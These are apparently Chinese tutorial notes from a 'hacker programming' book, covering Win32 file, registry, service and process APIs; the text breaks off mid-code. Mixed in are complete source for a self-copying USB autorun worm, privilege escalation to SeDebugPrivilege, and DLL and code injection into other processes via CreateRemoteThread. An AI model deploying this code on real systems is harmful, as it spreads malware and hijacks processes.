《C++黑客编程解密》03 - 文件 注册表 服务 并发 DLL
文件
获得与关闭句柄
// 文件的打开与关闭
WINBASEAPI
HANDLE // 成功返回句柄,失败返回 INVALID_HANDLE_VALUE,失败原因可用 GetLastError() 获得
WINAPI
CreateFile(
_In_ LPCSTR lpFileName,
_In_ DWORD dwDesiredAccess, // 文件的访问模式,GENERIC_READ只读 GENERIC_WRITE只写
_In_ DWORD dwShareMode, // 共享模式,文件打开后是否允许其他进程操作
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, // NULL
_In_ DWORD dwCreationDisposition, // 文件存在或不存在时处理方式
_In_ DWORD dwFlagsAndAttribute // 新建文件的属性和对文件操作的方式
_In_opt_ HANDLE hTemplateFile // 文件模板句柄,系统会复制该文件模板的所有属性到当前创建的文件中
);
WINBASEAPI
BOOL
WINAPI
CloseHandle(
_In_ _Post_ptr_invalid_ HANDLE hObject
);
删除文件
WINBASEAPI
BOOL
WINAPI
DeleteFileA(
_In_ LPCSTR lpFileName
);
读写文件
WINBASEAPI
_Must_inspect_result_
BOOL
WINAPI
ReadFile(
_In_ HANDLE hFile,
_Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer, // 保存数据的缓冲区
_In_ DWORD nNumberOfBytesToRead, // 要求读入字节数,通常时缓冲区大小
_Out_opt_ LPDWORD lpNumberOfBytesRead, // 指向一个DWORD类型的变量的指针,用于返回实际读入的字节数
_Inout_opt_ LPOVERLAPPED lpOverlapped // 一般为NULL
);
// 写入时的数据暂存在内部的高速缓存中,系统定期写入,减少IO次数
WINBASEAPI
BOOL
WINAPI
WriteFile(
_In_ HANDLE hFile,
_In_reads_bytes_opt_(nNumberOfBytesToWrite) LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
// 讲缓冲区中文件写入磁盘
WINBASEAPI
BOOL
WINAPI
FlushFileBuffers(
_In_ HANDLE hFile
);
// 移动文件指针
WINBASEAPI
DWORD
WINAPI
SetFilePointer(
_In_ HANDLE hFile,
_In_ LONG lDistanceToMove, // 要移动的距离
_Inout_opt_ PLONG lpDistanceToMoveHigh, // 移动距离的高32位,一般为NULL
_In_ DWORD dwMoveMethod // 指定起始位置,可从头,也可从尾
);
逻辑驱动器相关操作
WINBASEAPI
_Success_(return != 0 && return <= nBufferLength)
DWORD
WINAPI
GetLogicalDriveStringsA(
_In_ DWORD nBufferLength,
_Out_writes_to_opt_(nBufferLength, return + 1) LPSTR lpBuffer // 返回字符串类型:"C:\",0,"D:\",0,"E:\",0,0
);
// 获取驱动器类型函数
WINBASEAPI
UINT
WINAPI
GetDriveTypeA(
_In_opt_ LPCSTR lpRootPathName // 如:"C:\"
);
/*
返回值:
DRIVE_UNKNOWN 无法识别
DRIVE_NO_ROOT_DIR 无效驱动器路径
DRIVE_REMOVEABLE 可移动驱动器
DRIVE_FIXED 不可移动驱动器,指硬盘
DRIVE_REMOTE 网络驱动器
DRIVE_CDROM 光盘驱动器
DRIVE_RAMDISK 虚拟驱动器
*/
目录操作:
WINBASEAPI
BOOL
WINAPI
CreateDirectoryA(
_In_ LPCSTR lpPathName,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes // NULL
);
WINBASEAPI
BOOL
WINAPI
RemoveDirectoryA(
_In_ LPCSTR lpPathName
);
U盘病毒
(过时技术)
依赖 AutoRun.inf 文件,在载入光盘时自动运行指定文件。
例如:
[AutoRun]
open=notepad.exe
shell\open=打开(&O)
shell\open\Command=notepad.exe
shell\explore=资源管理器(&x)
shell\explort\Command="notepad.exe"
shell\execute=notepad.exe
shell\Auto\Command=notepad.exe
代码实现
如果在本地磁盘上,就检索所有移动磁盘,并建立 AutoRun.inf 文件和拷贝自身到移动磁盘,并命名为 notepad.exe
如果在移动硬盘上,就检索所有本地磁盘,并建立 AutoRun.inf 文件和拷贝自身到移动磁盘,并命名为 notepad.exe
注:现在系统都有一些安全设置,可能无法通过 AutoRun.inf 自动运行
查看代码
#include <Windows.h>
char szAutoRun[] = "[AutoRun] \r\n\
open = notepad.exe \r\n\
shell\\open = 打开(&O) \r\n\
shell\\open\\Command = notepad.exe \r\n\
shell\\explore = 资源管理器(&x) \r\n\
shell\\explort\\Command = notepad.exe \r\n\
shell\\execute = notepad.exe \r\n\
shell\\Auto\\Command = notepad.exe";
void infect(char* pszFile, UINT uDriveType)
{
char szDriveString[MAXBYTE] = { 0 };
DWORD dwRet = 0;
DWORD iNum = 0;
char szRoot[4] = { 0 };
UINT uType = 0;
char szTarget[MAX_PATH] = { 0 };
dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
while (iNum < dwRet)
{
strncpy(szRoot, &szDriveString[iNum], 3);
uType = GetDriveType(szRoot);
if (uType == uDriveType)
{
// 拷贝文件并设置隐藏属性
lstrcpy(szTarget, szRoot);
lstrcat(szTarget, "notepad.exe");
CopyFile(pszFile, szTarget, FALSE);
SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
// 建立 AutoRun.inf 文件
lstrcpy(szTarget, szRoot);
lstrcat(szTarget, "autorun.inf");
HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWritten = 0;
WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
CloseHandle(hFile);
}
iNum += 4;
}
}
int main()
{
char szFileName[MAX_PATH] = { 0 };
char szRoot[4] = { 0 };
UINT uType = 0;
GetModuleFileName(NULL, szFileName, MAX_PATH);
strncpy(szRoot, szFileName, 3); // 获取盘符
uType = GetDriveType(szRoot);
switch (uType)
{
case DRIVE_FIXED:
{
infect(szFileName, DRIVE_REMOVABLE);
break;
}
case DRIVE_REMOVABLE:
{
infect(szFileName, DRIVE_FIXED);
break;
}
default:
break;
}
return 0;
}
免疫 AutoRun
建立一个无法被删除的 AutoRun.inf 文件夹(并不是真的无法被删除)
手动创建:
cd \
mkdir autorun.inf
cd autorun.inf
mkdir anti...\
也可直接在注册表中禁用”自动播放“
注册表编程
”开始“ -> ”运行“ -> regedit
打开关闭注册表:
WINADVAPI
LSTATUS // 成功返回 ERROR_SUCCESS 并在phkResult 中保存返回打开子键的句柄
APIENTRY
RegOpenKeyExA(
_In_ HKEY hKey, // 父键句柄
_In_opt_ LPCSTR lpSubKey, // 指向字符串,要打开的子键名称
_In_opt_ DWORD ulOptions, // 系统保留,必须为 0
_In_ REGSAM samDesired, // 存取权限,一般为 KEY_ALL_ACCESS
_Out_ PHKEY phkResult // 指向一个双子变量,用于接收打开的子键句柄
);
WINADVAPI
LSTATUS
APIENTRY
RegCloseKey(
_In_ HKEY hKey
);
创建和删除:
WINADVAPI
LSTATUS // 成功返回 ERROR_SUCCESS
APIENTRY
RegCreateKeyExA(
_In_ HKEY hKey,
_In_ LPCSTR lpSubKey,
_Reserved_ DWORD Reserved, // 系统保留,一般为0
_In_opt_ LPSTR lpClass, // 子键类名,一般为 NULL
_In_ DWORD dwOptions, // 创建子键时选项,通常用 REG_OPTION_NON_VOLATILE 表示创建的子键被创建到注册表文件中,而非内存中
_In_ REGSAM samDesired, // 打开注册表的存储权限, KEY_ALL_ACCESS
_In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, // NULL
_Out_ PHKEY phkResult, // 一个双子变量,用于保存子键句柄
_Out_opt_ LPDWORD lpdwDisposition // NULL
);
WINADVAPI
LSTATUS
APIENTRY
RegDeleteKeyA (
_In_ HKEY hKey,
_In_ LPCSTR lpSubKey
);
查询 写入 删除
WINADVAPI
LSTATUS
APIENTRY
RegQueryValueEx(
_In_ HKEY hKey, // 子键句柄
_In_opt_ LPCSTR lpValueName, // 要读取的键值项名称
_Reserved_ LPDWORD lpReserved, // NULL
_Out_opt_ LPDWORD lpType, // 接收返回的键值类型,可为 NULL
_Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 指向缓冲区,用于接收数据
_When_(lpData == NULL,_Out_opt_) _When_(lpData != NULL,_Inout_opt_) LPDWORD lpcbData // 调用时指定缓冲区长度,返回时为实际接收到的长度
);
WINADVAPI
LSTATUS
APIENTRY
RegSetValueExA(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpValueName,
_Reserved_ DWORD Reserved, // 0
_In_ DWORD dwType, // 要写入的数据类型
_In_reads_bytes_opt_(cbData) CONST BYTE* lpData, // 写入数据的缓冲区
_In_ DWORD cbData // 缓冲区长度
);
WINADVAPI
LSTATUS
APIENTRY
RegDeleteValueA(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpValueName
);
子键和键值的枚举:
WINADVAPI
LSTATUS
APIENTRY
RegEnumKeyEx(
_In_ HKEY hKey,
_In_ DWORD dwIndex, // 指定需要返回信息的子键索引编号
_Out_writes_to_opt_(*lpcchName,*lpcchName + 1) LPSTR lpName, // 接收子键名称的缓冲区
_Inout_ LPDWORD lpcchName, // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
_Reserved_ LPDWORD lpReserved, // NULL
_Out_writes_to_opt_(*lpcchClass,*lpcchClass + 1) LPSTR lpClass, // NULL
_Inout_opt_ LPDWORD lpcchClass, // NULL
_Out_opt_ PFILETIME lpftLastWriteTime // 指向一个 FILETIME 结构体,用于接收最后一次被写入的时间
);
WINADVAPI
LSTATUS
APIENTRY
RegEnumValue(
_In_ HKEY hKey, // 指定被枚举的键句柄
_In_ DWORD dwIndex, // 指定要返回信息的键值索引编号
_Out_writes_to_opt_(*lpcchValueName,*lpcchValueName + 1) LPSTR lpValueName, // 接收键值名称的缓冲区
_Inout_ LPDWORD lpcchValueName, // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
_Reserved_ LPDWORD lpReserved, // NULL
_Out_opt_ LPDWORD lpType, // 指向一个用于返回键值数据类型的变量
_Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 接收返回键值数据的缓冲区
_Inout_opt_ LPDWORD lpcbData // 调用前保存缓冲区长度,调用后保存实际接收到数据长度
);
服务
一种系统启动时启动的进程机制,这种机制不依赖用户的交互。可以是由独立进程的exe程序,也可以是依附于某个进程的dll文件,也可能是处于系统内核的sys文件。
”运行“ -> 输入”services.msc“
服务分类:
#define SERVICE_DRIVER \ // 驱动程序服务
(SERVICE_KERNEL_DRIVER | \ // 设备驱动程序
SERVICE_FILE_SYSTEM_DRIVER | \ // 内核模式系统驱动程序
SERVICE_RECOGNIZER_DRIVER) // 文件系统识别器驱动程序
#define SERVICE_WIN32 \ // win32应用程序服务
(SERVICE_WIN32_OWN_PROCESS | \ // 独占一个进程的服务
SERVICE_WIN32_SHARE_PROCESS) // 与其他服务共享一个进程的服务
#define SERVICE_TYPE_ALL (SERVICE_WIN32 | \
SERVICE_ADAPTER | \
SERVICE_DRIVER | \
SERVICE_INTERACTIVE_PROCESS | \
SERVICE_USER_SERVICE | \
SERVICE_USERSERVICE_INSTANCE | \
SERVICE_PKG_SERVICE)
打开服务管理器:
// 打开服务管理器
WINADVAPI
SC_HANDLE
WINAPI
OpenSCManagerA(
_In_opt_ LPCSTR lpMachineName, // 本机设为NULL
_In_opt_ LPCSTR lpDatabaseName, // 目标主句SCM数据库名字字符串
_In_ DWORD dwDesiredAccess // 服务权限
);
// 关闭服务管理器
WINADVAPI
BOOL
WINAPI
CloseServiceHandle(
_In_ SC_HANDLE hSCObject
);
服务枚举函数:
WINADVAPI
BOOL
WINAPI
EnumServicesStatus(
_In_ SC_HANDLE hSCManager, // OpenSCManager()返回的句柄
_In_ DWORD dwServiceType, // 指定枚举的服务类型
_In_ DWORD dwServiceState, // 枚举指定状态的服务
_Out_writes_bytes_opt_(cbBufSize)
LPENUM_SERVICE_STATUSA lpServices, // 指向 ENUM_SERVICE_STATUS 类型指针
_In_ DWORD cbBufSize, // 缓冲区大小
_Out_ LPDWORD pcbBytesNeeded, // 实际使用内存空间大小
_Out_ LPDWORD lpServicesReturned, // 返回枚举服务的个数
_Inout_opt_ LPDWORD lpResumeHandle // 返回枚举是否成功
);
typedef struct _ENUM_SERVICE_STATUSA {
LPSTR lpServiceName;
LPSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;
typedef struct _SERVICE_STATUS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;
打开、启动、停止指定服务:
WINADVAPI
SC_HANDLE
WINAPI
OpenServiceA(
_In_ SC_HANDLE hSCManager,
_In_ LPCSTR lpServiceName,
_In_ DWORD dwDesiredAccess // SC_MANAGER_ALL_ACCESS
);
WINADVAPI
BOOL
WINAPI
StartServiceA(
_In_ SC_HANDLE hService,
_In_ DWORD dwNumServiceArgs, // 参数个数
_In_reads_opt_(dwNumServiceArgs)
LPCSTR *lpServiceArgVectors // 指向参数
);
WINADVAPI
BOOL
WINAPI
ControlService(
_In_ SC_HANDLE hService,
_In_ DWORD dwControl, // 控制码,停止服务的为 SERVICE_CONTROL_STOP
_Out_ LPSERVICE_STATUS lpServiceStatus
);
进程
创建
WINBASEAPI
UINT
WINAPI
WinExec(
_In_ LPCSTR lpCmdLine, // 可执行文件
_In_ UINT uCmdShow // 运行后窗口状态 SW_SHOW 正常显示 SW_HIDE 隐藏状态
);
WINBASEAPI
BOOL
WINAPI
CreateProcessA(
_In_opt_ LPCSTR lpApplicationName, // 可执行文件名称
_Inout_opt_ LPSTR lpCommandLine, // 命令行参数
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, // NULL
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, // NULL
_In_ BOOL bInheritHandles, // 当前进程中句柄是否可被新进程继承
_In_ DWORD dwCreationFlags, // 优先级及其他创建标识,一般为 0
_In_opt_ LPVOID lpEnvironment, // 指定新进程环境变量,通常NULL
_In_opt_ LPCSTR lpCurrentDirectory, // 使用的当前目录
_In_ LPSTARTUPINFOA lpStartupInfo, // 指向启动信息结构体
_Out_ LPPROCESS_INFORMATION lpProcessInformation // 指向返回新进程和主线程相关信息的结构体
);
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
// 关闭结构体中保存的两个句柄
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
// 用于下载文件,下面两行也必须添加
#include <urlmon.h>
#pragma comment (lib, "urlmon")
STDAPI URLDownloadToFileA(
_In_opt_ LPUNKNOWN, // NULL
_In_ LPCSTR, // URL字符串
_In_opt_ LPCSTR, // 保存地址字符串
DWORD, // 0
_In_opt_ LPBINDSTATUSCALLBACK // NULL
);
关闭
使用 CloseHandle()
关闭
结束进程
正常进程退出时会调用 ExitProcess() 函数;
可以通过 SendMessage() 发送 WM_CLOSE 到目标窗口;
通过窗口找到进程id,再获得进程句柄并关闭:
WINUSERAPI
HWND
WINAPI
FindWindowA(
_In_opt_ LPCSTR lpClassName,
_In_opt_ LPCSTR lpWindowName);
WINUSERAPI
DWORD
WINAPI
GetWindowThreadProcessId(
_In_ HWND hWnd, // 窗口句柄
_Out_opt_ LPDWORD lpdwProcessId); // 窗口句柄对应进程id
WINBASEAPI
HANDLE
WINAPI
OpenProcess(
_In_ DWORD dwDesiredAccess, // 打开进程欲获得的访问权限
_In_ BOOL bInheritHandle, // 获得的句柄是否可以继承
_In_ DWORD dwProcessId // 与打开的进程ID号
);
WINBASEAPI
BOOL
WINAPI
TerminateProcess(
_In_ HANDLE hProcess, // 要结束的进程句柄
_In_ UINT uExitCode // 退出码,通常为0
);
枚举
// 返回一个快照句柄,给枚举函数使用,用 CloseHandle 销毁
HANDLE
WINAPI
CreateToolhelp32Snapshot(
DWORD dwFlags, // 建立系统快照的类型
DWORD th32ProcessID // 枚举系统中进程或线程时为NULL;枚举进程中加载DLL时该参数是进程ID
);
// dwFlags
//
#define TH32CS_SNAPHEAPLIST 0x00000001
#define TH32CS_SNAPPROCESS 0x00000002 // 在枚举进程中进程时指定
#define TH32CS_SNAPTHREAD 0x00000004 // 在枚举进程中线程时指定
#define TH32CS_SNAPMODULE 0x00000008 // 在枚举进程中DLL时指定
#define TH32CS_SNAPMODULE32 0x00000010
#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
#define TH32CS_INHERIT 0x80000000
进程
BOOL
WINAPI
Process32First(
HANDLE hSnapshot, // 快照句柄
LPPROCESSENTRY32 lppe // 指向结构体的指针
);
typedef struct tagPROCESSENTRY32
{
DWORD dwSize; // 使用时这个变量赋值结构体大小
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // 可执行文件名称
} PROCESSENTRY32;
BOOL
WINAPI
Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
线程枚举函数
Thread32First()
Thread32Next()
DLL枚举函数
Module32First()
Module32Next()
查看代码
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
int main()
{
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return -1;
}
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
for (BOOL bRet = Process32First(hSnap, &pe32); bRet; bRet = Process32Next(hSnap, &pe32))
{
printf("%s\n", pe32.szExeFile);
}
CloseHandle(hSnap);
return 0;
}
调整进程权限
由于进程权限不够,导致 CreateToolhelp32Snapshot OpenProcess 调用失败。解决方式是将进程权限提升至 SeDebugPrivilege,获得权限后可访问一些受限的系统资源。
- 使用 OpenProcessToken() 打开当前进程的访问令牌
- 使用 LookupPrivilegeValue() 取得描述权限的 LUID
- 使用 AdjustTokenPrivileges() 调整访问令牌的权限
HANDLE hToken = NULL;
BOOL bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (bRet == TRUE)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
进程暂停和恢复
暂停进程就是暂停进程中的全部线程。
// 先通过此函数获得线程句柄
WINBASEAPI
_Ret_maybenull_
HANDLE
WINAPI
OpenThread(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwThreadId
);
WINBASEAPI
DWORD
WINAPI
SuspendThread(
_In_ HANDLE hThread
);
WINBASEAPI
DWORD
WINAPI
ResumeThread(
_In_ HANDLE hThread
);
要暂停进程中全部线程就要枚举线程,使用 Thread32First Thread32Next ,枚举前仍要使用 CreateToolhelp32Snapshot 创建系统进程快照,不能创建指定进程中线程快照。在暂停时要对枚举到的线程判断。THREADENTRY32 结构体中 th32ThreadID 表示当前枚举到线程的线程ID,th32OwnerProcessID 则表示线程所属的进程ID。这样可以进行判断。
暂停:
int nPid = ???; // 进程id
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, nPid);
if (hSnap == INVALID_HANDLE_VALUE)
{
return -1;
}
THREADENTRY32 Te32 = { 0 };
Te32.dwSize = sizeof(THREADENTRY32);
for (BOOL bRet = Thread32First(hSnap, &Te32);
bRet;
bRet = Thread32Next(hSnap, &Te32))
{
// 获得线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Te32.th32ThreadID);
// 暂停线程
SuspendThread(hThread);
CloseHandle(hThread);
}
CloseHandle(hSnap);
多线程
https://www.cnblogs.com/zhh567/p/16537345.html
- CreateThread
- WaitForSingleObject
- WaitForMultipleObject
DLL 动态库
https://www.cnblogs.com/zhh567/p/16536626.html
远程线程编程
远程线程就是进程A在进程B中创建一个线程。
// CreateThread 函数就是调用这个函数在本进程中创建线程
WINBASEAPI
_Ret_maybenull_
HANDLE
WINAPI
CreateRemoteThread(
_In_ HANDLE hProcess, // 目标进程句柄
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
每个进程的地址空间都是隔离的,那么新创建的线程函数地址也应该在目标进程中,而不是在调用 CreateRemoteThread 函数的进程中,同样传递的参数也应该在目标进程中。
注入时可能存在权限不足的情况,要使用之前提到的方法调整进程权限:
void fun()
{
HANDLE hToken = NULL;
BOOL bRet = OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken);
if ( bRet == TRUE )
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
DLL 远程注入
加载dll的函数 HMODULE WINAPI LoadLibrary( _In_ LPCSTR lpLibFileName )
与线程启动函数 typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)( LPVOID lpThreadParameter )
格式一致
三个问题:
- 如何将 LoadLibrary 加载到目标进程空间?
LoadLibrary 是系统中Kernel32.dll 的导出函数, Kernel32.dll 这个DLL 文件在任何进程中加载位置都相同,及LoadLibrary 函数的位置都是相同的。因此,CreateRemoteThread 的函数地址参数直接传送 LoadLibrary 函数的地址即可。 - 如何将要加载的DLL文件完整路径写入目标程序?
这要借助 WriteProcessMemory 函数 - 如何确定应该将DLL文件的完整路径写入目标进程的哪个地址?
对于目标进程事先是不会准备好一块地址让用户写入的,用户要做的是申请一块内存然后把DLL文件内容写入。
// 该函数十分强大,可以直接修改进程中指定的值
WINBASEAPI
_Success_(return != FALSE)
BOOL
WINAPI
WriteProcessMemory(
_In_ HANDLE hProcess, // 进程句柄
_In_ LPVOID lpBaseAddress, // 写入目标内存的起始地址
_In_reads_bytes_(nSize) LPCVOID lpBuffer, // 缓冲区
_In_ SIZE_T nSize, // 缓冲区长度
_Out_opt_ SIZE_T* lpNumberOfBytesWritten // 写入的长度
);
// 在目标进程申请一块内存
WINBASEAPI
_Ret_maybenull_
_Post_writable_byte_size_(dwSize)
LPVOID // 返回值是在目标进程申请到的内存块起始地址
WINAPI
VirtualAllocEx(
_In_ HANDLE hProcess, // 目标进程
_In_opt_ LPVOID lpAddress, // 目标进程中申请内存的起始地址
_In_ SIZE_T dwSize, // 申请内存的长度
_In_ DWORD flAllocationType, // 申请内存的状态类型
_In_ DWORD flProtect // 申请内存的属性
);
void fun(char* szProcessName, DWORD dwPid, char* szDllName)
{
// 通过进程名获得 PID
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
DWORD procID;
for (BOOL bRet = Process32First(hSnap, &pe32); bRet; bRet = Process32Next(hSnap, &pe32))
{
if (lstrcmp(strupr(pe32.szExeFile), strupr(szProcessName)) == 0)
{
procID = pe32.th32ProcessID;
}
}
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return;
}
// 计算预注入dll文件完整路径长
int nDllLen = lstrlen(szDllName) + sizeof(char);
// 在目标进程申请一块长为 nDllLen 大小的内存空间
PVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nDllLen,
MEM_COMMIT, PAGE_READONLY);
if (pDllAddr == NULL)
{
CloseHandle(hProcess);
return;
}
// 将欲注入 DLL 文件的完整路径写入在目标进程中申请的空间
DWORD dwWriteNum = 0;
WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, (SIZE_T*)&dwWriteNum);
// 获得 LoadLibraryA 函数的地址
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess,
NULL, 0,
(LPTHREAD_START_ROUTINE)pFunAddr,
pDllAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
卸载远程DLL
void fun(DWORD dwPid, char* szDllName)
{
HANDLE hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPid);
MODULEENTRY32 me32;
me32.dwSize = sizeof(me32);
// 查找匹配的进程名称
for (BOOL bRet = Module32First(hSnap, &me32); bRet; bRet = Module32Next(hSnap, &me32))
{
if (lstrcmp(strupr(me32.szExePath), strupr(szDllName)) == 0)
{
break;
}
}
CloseHandle(hSnap);
// 获得进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return;
}
// 获得函数地址
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "FreeLibrary");
// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunAddr,
me32.hModule, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
不依赖DLL进行注入
Kernel32.dll 在每个进程中地址都是相同的,但并不代表其他DLL文件在每个进程中地址都是一样的。
所以,在目标进程中调用API函数时,必须使用 LoadLibrary()
和 GetProcAddress()
函数动态调用用到的每个API函数。
把想要使用的API函数和所在DLL文件都封装到一个结构体中,直接写入到目标进程空间中。把要远程执行的代码也写入目标进程中的内存中,最后调用 CreateRemoteThread()
即可运行
// 不借助DLL让远程线程弹出一个提示对话框
#define STRLEN 20
typedef struct _DATA
{
// Kernel32.dll 的导出函数,可在注入前获取
DWORD dwLoadLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwGetModuleFileName;
// 保存 "User32.dll" 字符串
char User32Dll[STRLEN];
// 保存 "MessageBoxA" 字符串
char MessageBox[STRLEN];
// 要弹出的字符串
char Str[STRLEN];
}DATA, * PDATA;
DWORD WINAPI RemoteThreadProc(LPVOID lpParam)
{
PDATA pData = (PDATA)lpParam;
// 定义API函数原型
HMODULE(__stdcall * MyLoadLibrary)(LPCTSTR);
FARPROC(__stdcall * MyGetProcAddress)(HMODULE, LPCSTR);
HMODULE(__stdcall * MyGetModuleHandle)(LPCTSTR);
int(__stdcall * MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);
DWORD(__stdcall * MyGetModuleFileName)(HMODULE, LPTSTR, DWORD);
// 对各函数地址赋值
MyLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))
pData->dwLoadLibrary;
MyGetProcAddress = (FARPROC(__stdcall*)(HMODULE, LPCSTR))
pData->dwGetProcAddress;
MyGetModuleHandle = (HMODULE(__stdcall*)(LPCSTR))
pData->dwGetModuleHandle;
MyGetModuleFileName = (DWORD(__stdcall*)(HMODULE, LPTSTR, DWORD))
pData->dwGetModuleFileName;
// 加载 User32.dll
HMODULE hModule = MyLoadLibrary(pData->User32Dll);
// 获得 MessageBoxA 函数的地址
MyMessageBox = (int(__stdcall*)(HWND, LPCTSTR, LPCTSTR, UINT))
MyGetProcAddress(hModule, pData->MessageBox);
char szModuleFileName[MAX_PATH] = { 0 };
MyGetModuleFileName(NULL, szModuleFileName, MAX_PATH);
MyMessageBox(NULL, pData->Str, szModuleFileName, MB_OK);
return 0;
}
VOID InjectCode(DWORD dwPid)
{
// 打开进程并获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return;
}
DATA Data = { 0 };
// 获取kernel32.dll中相关的导出函数
Data.dwLoadLibrary = (DWORD)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
Data.dwGetProcAddress = (DWORD)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"GetProcAddress");
Data.dwGetModuleHandle = (DWORD)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"GetModuleHandleA");
Data.dwGetModuleFileName = (DWORD)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"GetModuleFileNameA");
// 需要的其他DLL和导出函数
lstrcpy(Data.User32Dll, "user32.dll");
lstrcpy(Data.MessageBox, "MessageBoxA");
// MessageBoxA()弹出的字符串
